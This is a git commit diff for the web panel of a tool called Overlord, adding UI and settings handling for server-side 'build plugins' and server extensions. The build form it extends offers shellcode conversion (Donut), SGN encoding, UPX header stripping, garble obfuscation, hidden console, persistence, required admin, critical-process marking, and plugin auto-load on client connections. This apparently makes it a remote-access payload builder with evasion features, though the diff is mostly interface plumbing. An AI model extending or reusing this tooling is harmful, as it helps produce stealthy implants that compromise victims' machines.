build hook plugins

This commit is contained in:
KingKDot
2026-06-22 12:54:12 -05:00
parent 6180e7f1a2
commit 7aaf115e2f
20 changed files with 1857 additions and 81 deletions
+304
View File
@@ -43,11 +43,15 @@ const startupNameMacosHint = document.getElementById("startup-name-macos-hint");
const startupNameDefaultHint = document.getElementById("startup-name-default-hint");
const startupNameError = document.getElementById("startup-name-error");
const platformInputs = document.querySelectorAll('input[name="platform"]');
const buildPluginsSection = document.getElementById("build-plugins-section");
const buildPluginsList = document.getElementById("build-plugins-list");
const buildPluginsCount = document.getElementById("build-plugins-count");
let currentServerVersion = null;
let currentUserRole = null;
let currentUsername = null;
let showAllBuilds = false;
let buildPlugins = [];
async function loadServerVersion() {
try {
@@ -123,6 +127,296 @@ function updateWindowsSectionVisibility() {
windowsSection.classList.toggle("hidden", !hasWindows);
}
function pluginSettingInputId(pluginId, key) {
return `build-plugin-${pluginId}-${key}`.replace(/[^A-Za-z0-9_-]/g, "-");
}
function buildPluginCurrentSettings(plugin) {
const settings = {};
for (const setting of plugin.build?.settings || []) {
const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${setting.key}"]`);
if (!el) continue;
if (setting.type === "boolean") settings[setting.key] = !!el.checked;
else if (setting.type === "number") settings[setting.key] = Number(el.value || setting.default || 0);
else settings[setting.key] = el.value;
}
return settings;
}
function collectBuildPluginSettings() {
const result = {};
for (const plugin of buildPlugins) {
const enabledEl = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`);
result[plugin.id] = {
enabled: enabledEl ? !!enabledEl.checked : plugin.build?.enabledByDefault !== false,
settings: buildPluginCurrentSettings(plugin),
};
}
return result;
}
function setBuildField(field, value) {
const fieldMap = {
useDonut: "#donut-mode",
useLinuxShellcode: "#linux-shellcode-mode",
shellcodeConsole: "#shellcode-console",
useSgn: "#sgn-mode",
enableUpx: 'input[name="enable-upx"]',
upxStripHeaders: 'input[name="upx-strip-headers"]',
obfuscate: 'input[name="obfuscate"]',
garbleLiterals: 'input[name="garble-literals"]',
garbleTiny: 'input[name="garble-tiny"]',
disableCgo: 'input[name="disable-cgo"]',
stripDebug: 'input[name="strip-debug"]',
noPrinting: 'input[name="no-printing"]',
enableWebrtc: 'input[name="enable-webrtc"]',
enableWinRE: 'input[name="enable-winre"]',
fetchPublicIP: 'input[name="fetch-public-ip"]',
enablePersistence: 'input[name="enable-persistence"]',
hideConsole: 'input[name="hide-console"]',
requireAdmin: 'input[name="require-admin"]',
criticalProcess: 'input[name="critical-process"]',
outputName: "#output-name",
outputExtension: "#output-extension",
sgnIterations: "#sgn-iterations",
sleepSeconds: "#sleep-seconds",
};
const selector = fieldMap[field] || `#${field}`;
const el = document.querySelector(selector);
if (!el) return;
if (el.type === "checkbox") el.checked = !!value;
else el.value = String(value ?? "");
el.dispatchEvent(new Event("change", { bubbles: true }));
el.dispatchEvent(new Event("input", { bubbles: true }));
if (field === "useDonut") applyDonutMode(!!value);
if (field === "useLinuxShellcode") applyLinuxShellcodeMode(!!value);
if (field === "useSgn") applySgnMode(!!value);
}
function getRequirementValue(req, plugin) {
if (req.field) {
const settings = collectFormSettings();
return req.field.split(".").reduce((cur, key) => cur && cur[key], settings);
}
if (req.pluginSetting) {
const settings = buildPluginCurrentSettings(plugin);
return req.pluginSetting.split(".").reduce((cur, key) => cur && cur[key], settings);
}
return undefined;
}
function buildRequirementMet(req, plugin) {
if (Array.isArray(req.platforms)) {
const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value);
return req.platforms.some((platform) => selected.includes(platform));
}
const value = getRequirementValue(req, plugin);
if (req.truthy === true && !value) return false;
if (req.falsy === true && value) return false;
if (Object.prototype.hasOwnProperty.call(req, "equals") && value !== req.equals) return false;
if (Object.prototype.hasOwnProperty.call(req, "notEquals") && value === req.notEquals) return false;
if (Object.prototype.hasOwnProperty.call(req, "includes")) {
if (!Array.isArray(value) || !value.includes(req.includes)) return false;
}
return true;
}
function validateBuildPluginRequirements() {
const messages = [];
for (const plugin of buildPlugins) {
const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`)?.checked;
if (!enabled) continue;
for (const req of plugin.build?.requires || []) {
if (!buildRequirementMet(req, plugin)) {
messages.push(req.message || `${plugin.name} has unmet build requirements`);
}
}
}
return messages;
}
function renderBuildPluginSetting(plugin, setting) {
const id = pluginSettingInputId(plugin.id, setting.key);
const wrap = document.createElement("label");
wrap.className = "flex flex-col gap-1 text-sm";
const label = document.createElement("span");
label.className = "text-slate-300 font-medium";
label.textContent = setting.label || setting.key;
wrap.appendChild(label);
let input;
if (setting.type === "boolean") {
wrap.className = "flex items-center gap-2 text-sm text-slate-300";
input = document.createElement("input");
input.type = "checkbox";
input.checked = !!setting.default;
input.className = "w-4 h-4";
wrap.innerHTML = "";
wrap.appendChild(input);
wrap.appendChild(label);
} else if (setting.type === "select") {
input = document.createElement("select");
input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors";
for (const opt of setting.options || []) {
const option = document.createElement("option");
option.value = typeof opt === "string" ? opt : opt.value;
option.textContent = typeof opt === "string" ? opt : (opt.label || opt.value);
input.appendChild(option);
}
if (setting.default !== undefined) input.value = String(setting.default);
wrap.appendChild(input);
} else if (setting.type === "textarea") {
input = document.createElement("textarea");
input.rows = 3;
input.value = setting.default !== undefined ? String(setting.default) : "";
input.placeholder = setting.placeholder || "";
input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors";
wrap.appendChild(input);
} else {
input = document.createElement("input");
input.type = setting.type === "number" ? "number" : "text";
if (setting.min !== undefined) input.min = String(setting.min);
if (setting.max !== undefined) input.max = String(setting.max);
input.value = setting.default !== undefined ? String(setting.default) : "";
input.placeholder = setting.placeholder || "";
input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors";
wrap.appendChild(input);
}
input.id = id;
input.dataset.buildPluginId = plugin.id;
input.dataset.buildSettingKey = setting.key;
input.addEventListener("input", saveFormSettings);
input.addEventListener("change", saveFormSettings);
if (setting.description) {
const desc = document.createElement("span");
desc.className = "text-xs text-slate-500";
desc.textContent = setting.description;
wrap.appendChild(desc);
}
return wrap;
}
function renderBuildPlugins() {
if (!buildPluginsSection || !buildPluginsList) return;
buildPluginsList.innerHTML = "";
if (buildPlugins.length === 0) {
buildPluginsSection.classList.add("hidden");
return;
}
buildPluginsSection.classList.remove("hidden");
if (buildPluginsCount) buildPluginsCount.textContent = `${buildPlugins.length} available`;
for (const plugin of buildPlugins) {
const card = document.createElement("div");
card.className = "rounded-lg border border-slate-700 bg-slate-800/40 p-3 flex flex-col gap-3";
const top = document.createElement("div");
top.className = "flex items-start justify-between gap-3";
const title = document.createElement("div");
const nameEl = document.createElement("div");
nameEl.className = "font-medium text-slate-100";
nameEl.textContent = plugin.build?.label || plugin.name;
title.appendChild(nameEl);
if (plugin.build?.description) {
const desc = document.createElement("div");
desc.className = "text-xs text-slate-500 mt-1";
desc.textContent = plugin.build.description;
title.appendChild(desc);
}
const toggle = document.createElement("label");
toggle.className = "flex items-center gap-2 text-xs text-slate-300 cursor-pointer";
const cb = document.createElement("input");
cb.type = "checkbox";
cb.checked = plugin.build?.enabledByDefault !== false;
cb.dataset.buildPluginEnable = plugin.id;
cb.className = "w-4 h-4";
cb.addEventListener("change", saveFormSettings);
toggle.appendChild(cb);
toggle.appendChild(document.createTextNode("Enabled"));
top.appendChild(title);
top.appendChild(toggle);
card.appendChild(top);
if (plugin.build?.settings?.length) {
const grid = document.createElement("div");
grid.className = "grid grid-cols-1 md:grid-cols-2 gap-3";
for (const setting of plugin.build.settings) grid.appendChild(renderBuildPluginSetting(plugin, setting));
card.appendChild(grid);
}
if (plugin.build?.actions?.length) {
const actions = document.createElement("div");
actions.className = "flex flex-wrap gap-2";
for (const action of plugin.build.actions) {
const btn = document.createElement("button");
btn.type = "button";
btn.className = "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-fuchsia-700 hover:bg-fuchsia-600 text-white text-sm transition-colors";
const icon = document.createElement("i");
icon.className = action.icon || "fa-solid fa-wand-magic-sparkles";
const text = document.createElement("span");
text.textContent = action.label;
btn.appendChild(icon);
btn.appendChild(text);
if (action.description) btn.title = action.description;
btn.addEventListener("click", () => {
for (const req of action.requires || []) {
if (!buildRequirementMet(req, plugin)) {
alert(req.message || "This action requires other build settings first.");
return;
}
}
for (const [field, value] of Object.entries(action.setBuild || {})) setBuildField(field, value);
for (const [key, value] of Object.entries(action.setSettings || {})) {
const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`);
if (!el) continue;
if (el.type === "checkbox") el.checked = !!value;
else el.value = String(value ?? "");
el.dispatchEvent(new Event("change", { bubbles: true }));
}
saveFormSettings();
});
actions.appendChild(btn);
}
card.appendChild(actions);
}
buildPluginsList.appendChild(card);
}
}
function applyBuildPluginSettings(settings) {
if (!settings || typeof settings !== "object") return;
for (const plugin of buildPlugins) {
const saved = settings[plugin.id];
if (!saved || typeof saved !== "object") continue;
const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`);
if (enabled && saved.enabled !== undefined) enabled.checked = !!saved.enabled;
for (const [key, value] of Object.entries(saved.settings || {})) {
const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`);
if (!el) continue;
if (el.type === "checkbox") el.checked = !!value;
else el.value = String(value ?? "");
}
}
}
async function loadBuildPlugins() {
try {
const res = await fetch("/api/build/plugins", { credentials: "include" });
if (!res.ok) return;
const data = await res.json();
buildPlugins = Array.isArray(data.plugins) ? data.plugins : [];
renderBuildPlugins();
try {
const raw = localStorage.getItem(BUILD_SETTINGS_KEY);
if (raw) applyBuildPluginSettings(JSON.parse(raw).buildPlugins);
} catch {}
} catch (err) {
console.warn("Failed to load build plugins:", err);
}
}
const BUILD_SETTINGS_KEY = "overlord_build_settings";
function collectFormSettings() {
@@ -169,6 +463,7 @@ function collectFormSettings() {
shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false,
useSgn: document.getElementById("sgn-mode")?.checked ?? false,
sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
buildPlugins: collectBuildPluginSettings(),
};
}
@@ -247,6 +542,7 @@ function applyFormSettings(settings) {
if (settings.useSgn) applySgnMode(true);
}
if (settings.sgnIterations !== undefined) setVal("sgn-iterations", settings.sgnIterations);
if (settings.buildPlugins !== undefined) applyBuildPluginSettings(settings.buildPlugins);
const restoredObfuscate = document.querySelector('input[name="obfuscate"]');
const garbleContainer = document.getElementById("garble-settings-container");
@@ -509,6 +805,7 @@ function applyLinuxShellcodeMode(enabled) {
restoreFormSettings();
initAccordions();
loadBuildPlugins();
updateWindowsSectionVisibility();
updateShellcodeCheckboxVisibility();
init();
@@ -1445,6 +1742,7 @@ form?.addEventListener("submit", async (e) => {
sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
outputSgnTxt: pendingSgnTxtBuild,
uploadToFileShare: pendingUpload,
buildPlugins: collectBuildPluginSettings(),
};
const hasAndroid = platforms.some(p => p.startsWith('android-'));
@@ -1486,6 +1784,12 @@ form?.addEventListener("submit", async (e) => {
}
}
const pluginRequirementErrors = validateBuildPluginRequirements();
if (pluginRequirementErrors.length > 0) {
alert(`Build plugin requirements are not met:\n\n${pluginRequirementErrors.map((msg) => `- ${msg}`).join("\n")}`);
return;
}
await startBuild(buildConfig);
});
+94 -55
View File
@@ -114,9 +114,12 @@ function renderPlugins(plugins) {
return;
}
for (const plugin of plugins) {
const isServerOnly = plugin.runtime === "server";
const card = document.createElement("div");
card.className =
"rounded-xl border border-slate-800 bg-slate-950/50 px-4 py-3 flex items-center justify-between";
isServerOnly
? "rounded-xl border border-fuchsia-800/60 bg-fuchsia-950/20 px-4 py-3 flex items-center justify-between"
: "rounded-xl border border-slate-800 bg-slate-950/50 px-4 py-3 flex items-center justify-between";
const meta = document.createElement("div");
const titleRow = document.createElement("div");
titleRow.className = "flex items-center gap-2";
@@ -137,13 +140,17 @@ function renderPlugins(plugins) {
const isWasm = plugin.runtime === "wasm";
const isV2 = Number(plugin.apiVersion || 1) >= 2;
runtimeBadge.className = `inline-flex items-center gap-1 text-[10px] uppercase tracking-wider px-2 py-0.5 rounded-full border ${
isWasm
isServerOnly
? "text-fuchsia-200 border-fuchsia-700 bg-fuchsia-950/50"
: isWasm
? "text-cyan-300 border-cyan-700 bg-cyan-950/40"
: isV2
? "text-emerald-300 border-emerald-700 bg-emerald-950/40"
: "text-slate-300 border-slate-700 bg-slate-900/60"
}`;
runtimeBadge.innerHTML = isWasm
runtimeBadge.innerHTML = isServerOnly
? '<i class="fa-solid fa-server"></i> Server Extension'
: isWasm
? '<i class="fa-solid fa-cube"></i> WASM 2.0'
: isV2
? '<i class="fa-solid fa-code"></i> Plugin 2.0'
@@ -171,12 +178,37 @@ function renderPlugins(plugins) {
needsBox.innerHTML = `
<div class="${plugin.needsApproved ? "text-emerald-300" : "text-amber-300"}">
<i class="fa-solid ${plugin.needsApproved ? "fa-lock-open" : "fa-lock"} mr-1"></i>
${plugin.needsApproved ? "Needs approved" : "Needs approval before load"}
${plugin.needsApproved ? "Needs approved" : isServerOnly ? "Needs approval before enable" : "Needs approval before load"}
</div>
${needLines.map((line) => `<div class="font-mono text-slate-400">${escapeHtml(line)}</div>`).join("")}
`;
meta.appendChild(needsBox);
}
if (isServerOnly) {
const serverBox = document.createElement("div");
serverBox.className = "mt-2 flex flex-wrap items-center gap-2 text-xs";
const state = document.createElement("span");
state.className = `inline-flex items-center gap-1 px-2 py-1 rounded-lg border ${
plugin.serverRunning
? "text-emerald-200 border-emerald-700 bg-emerald-950/40"
: plugin.enabled
? "text-amber-200 border-amber-700 bg-amber-950/40"
: "text-slate-300 border-slate-700 bg-slate-900/60"
}`;
state.innerHTML = plugin.serverRunning
? '<i class="fa-solid fa-circle-play"></i> Worker running'
: plugin.enabled
? '<i class="fa-solid fa-triangle-exclamation"></i> Enabled, worker stopped'
: '<i class="fa-solid fa-circle-stop"></i> Disabled';
serverBox.appendChild(state);
if (plugin.build) {
const buildBadge = document.createElement("span");
buildBadge.className = "inline-flex items-center gap-1 px-2 py-1 rounded-lg border text-blue-200 border-blue-700 bg-blue-950/40";
buildBadge.innerHTML = '<i class="fa-solid fa-hammer"></i> Build plugin';
serverBox.appendChild(buildBadge);
}
meta.appendChild(serverBox);
}
const actions = document.createElement("div");
actions.className = "flex items-center gap-2";
@@ -186,9 +218,13 @@ function renderPlugins(plugins) {
(plugin.enabled
? " border-emerald-600 text-emerald-200 bg-emerald-900/40"
: " border-slate-600 text-slate-300 bg-slate-800/60");
toggle.innerHTML = plugin.enabled
? '<i class="fa-solid fa-toggle-on"></i> Enabled'
: '<i class="fa-solid fa-toggle-off"></i> Disabled';
toggle.innerHTML = isServerOnly
? plugin.enabled
? '<i class="fa-solid fa-power-off"></i> Disable'
: '<i class="fa-solid fa-server"></i> Enable'
: plugin.enabled
? '<i class="fa-solid fa-toggle-on"></i> Enabled'
: '<i class="fa-solid fa-toggle-off"></i> Disabled';
toggle.addEventListener("click", async () => {
const wantEnabled = !plugin.enabled;
try {
@@ -219,56 +255,59 @@ function renderPlugins(plugins) {
}
});
const autoLoadBtn = document.createElement("button");
const autoLoadDisabled = !plugin.enabled;
autoLoadBtn.className =
"inline-flex items-center gap-2 px-3 py-2 rounded-lg border" +
(autoLoadDisabled
? " border-slate-700 text-slate-500 bg-slate-900/40 cursor-not-allowed opacity-50"
let autoLoadBtn = null;
if (!isServerOnly) {
autoLoadBtn = document.createElement("button");
const autoLoadDisabled = !plugin.enabled;
autoLoadBtn.className =
"inline-flex items-center gap-2 px-3 py-2 rounded-lg border" +
(autoLoadDisabled
? " border-slate-700 text-slate-500 bg-slate-900/40 cursor-not-allowed opacity-50"
: plugin.autoLoad
? " border-amber-600 text-amber-200 bg-amber-900/40"
: " border-slate-600 text-slate-300 bg-slate-800/60");
autoLoadBtn.innerHTML = plugin.autoLoad
? '<i class="fa-solid fa-bolt"></i> Auto-load'
: '<i class="fa-solid fa-bolt-lightning"></i> Auto-load off';
autoLoadBtn.title = autoLoadDisabled
? "Plugin must be enabled before auto-load can be turned on"
: plugin.autoLoad
? " border-amber-600 text-amber-200 bg-amber-900/40"
: " border-slate-600 text-slate-300 bg-slate-800/60");
autoLoadBtn.innerHTML = plugin.autoLoad
? '<i class="fa-solid fa-bolt"></i> Auto-load'
: '<i class="fa-solid fa-bolt-lightning"></i> Auto-load off';
autoLoadBtn.title = autoLoadDisabled
? "Plugin must be enabled before auto-load can be turned on"
: plugin.autoLoad
? "Plugin will auto-load on all new client connections. Click to disable."
: "Click to auto-load this plugin on all new client connections.";
if (autoLoadDisabled) {
autoLoadBtn.disabled = true;
} else {
autoLoadBtn.addEventListener("click", async () => {
const res = await fetch(`/api/plugins/${plugin.id}/autoload`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
autoLoad: !plugin.autoLoad,
autoStartEvents: plugin.autoStartEvents || [],
}),
});
if (!res.ok) {
const data = await res.json().catch(() => null);
if (data && data.error === "needs_approval_required") {
showNeedsApprovalModal(plugin, data.needs, data.needsHash, async () => {
await fetch(`/api/plugins/${plugin.id}/autoload`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
autoLoad: !plugin.autoLoad,
autoStartEvents: plugin.autoStartEvents || [],
}),
? "Plugin will auto-load on all new client connections. Click to disable."
: "Click to auto-load this plugin on all new client connections.";
if (autoLoadDisabled) {
autoLoadBtn.disabled = true;
} else {
autoLoadBtn.addEventListener("click", async () => {
const res = await fetch(`/api/plugins/${plugin.id}/autoload`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
autoLoad: !plugin.autoLoad,
autoStartEvents: plugin.autoStartEvents || [],
}),
});
if (!res.ok) {
const data = await res.json().catch(() => null);
if (data && data.error === "needs_approval_required") {
showNeedsApprovalModal(plugin, data.needs, data.needsHash, async () => {
await fetch(`/api/plugins/${plugin.id}/autoload`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
autoLoad: !plugin.autoLoad,
autoStartEvents: plugin.autoStartEvents || [],
}),
});
await refresh();
});
await refresh();
});
return;
}
setStatus(`Auto-load toggle failed: ${data?.error || res.statusText}`, true);
return;
}
setStatus(`Auto-load toggle failed: ${data?.error || res.statusText}`, true);
return;
}
await refresh();
});
await refresh();
});
}
}
if (needLines.length && !plugin.needsApproved) {
@@ -296,7 +335,7 @@ function renderPlugins(plugins) {
await refresh();
});
actions.appendChild(toggle);
actions.appendChild(autoLoadBtn);
if (autoLoadBtn) actions.appendChild(autoLoadBtn);
actions.appendChild(removeBtn);
card.appendChild(meta);
card.appendChild(actions);
@@ -339,7 +378,7 @@ function showNeedsApprovalModal(plugin, needs, needsHash, afterApprove) {
<i class="fa-solid fa-key text-2xl text-amber-300"></i>
<h3 class="text-lg font-semibold text-slate-100">Approve Plugin Needs</h3>
</div>
<p class="text-sm text-slate-300 mb-3"><strong class="text-slate-100">${escapeHtml(plugin.name || plugin.id)}</strong> is asking for filesystem bridges before it can be sent to clients.</p>
<p class="text-sm text-slate-300 mb-3"><strong class="text-slate-100">${escapeHtml(plugin.name || plugin.id)}</strong> is asking for filesystem bridges before it can ${plugin.runtime === "server" ? "be enabled" : "be sent to clients"}.</p>
<div class="rounded-lg border border-slate-700 bg-slate-950/70 p-3 mb-3 space-y-2">
${needLines.length ? needLines.map((line) => `<div class="text-xs font-mono text-slate-300">${escapeHtml(line)}</div>`).join("") : '<div class="text-sm text-slate-400">No filesystem needs declared.</div>'}
</div>
+17
View File
@@ -930,6 +930,23 @@
</div>
</div>
<!-- == Build Plugin Settings (loaded from server-side plugins) == -->
<div id="build-plugins-section" class="accordion-section border border-slate-800 rounded-lg overflow-hidden hidden" data-open="false">
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
<i class="fa-solid fa-puzzle-piece text-fuchsia-400"></i>
Build Plugins
<span id="build-plugins-count" class="text-xs text-slate-500 font-normal"></span>
</span>
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
</button>
<div class="accordion-body">
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-3">
<div id="build-plugins-list" class="flex flex-col gap-3"></div>
</div>
</div>
</div>
<!-- Build Button -->
<div class="flex gap-2">
<button type="submit" id="build-btn"
+1 -1
View File
@@ -21,7 +21,7 @@
<div class="max-w-5xl mx-auto flex flex-col gap-5">
<div>
<h1 class="text-2xl font-semibold">Plugins</h1>
<p class="text-slate-400">Upload zip bundles and manage plugin UI</p>
<p class="text-slate-400">Upload zip bundles and manage client plugins or server extensions</p>
</div>
<section class="rounded-2xl border border-slate-800 bg-slate-900/50 p-5">